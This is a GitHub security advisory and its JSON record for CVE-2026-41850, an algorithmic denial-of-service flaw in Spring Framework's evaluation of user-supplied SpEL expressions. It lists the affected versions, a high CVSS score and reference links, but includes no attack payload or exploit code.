GHSA-R5W3-XV2F-J59Q

Vulnerability from github – Published: 2026-06-09 06:31 – Updated: 2026-06-09 06:31
VLAI
Details

Applications that evaluate user-supplied Spring Expression Language (SpEL) expressions are vulnerable to an Algorithmic Denial of Service (DoS). By providing a specially crafted expression, an attacker can trigger excessive resource consumption during evaluation, leading to application degradation or unavailability.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-41850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T05:16:37Z",
    "severity": "HIGH"
  },
  "details": "Applications that evaluate user-supplied Spring Expression Language (SpEL) expressions are vulnerable to an Algorithmic Denial of Service (DoS). By providing a specially crafted expression, an attacker can trigger excessive resource consumption during evaluation, leading to application degradation or unavailability.\n\nAffected versions:\nSpring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.",
  "id": "GHSA-r5w3-xv2f-j59q",
  "modified": "2026-06-09T06:31:58Z",
  "published": "2026-06-09T06:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41850"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-41850"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

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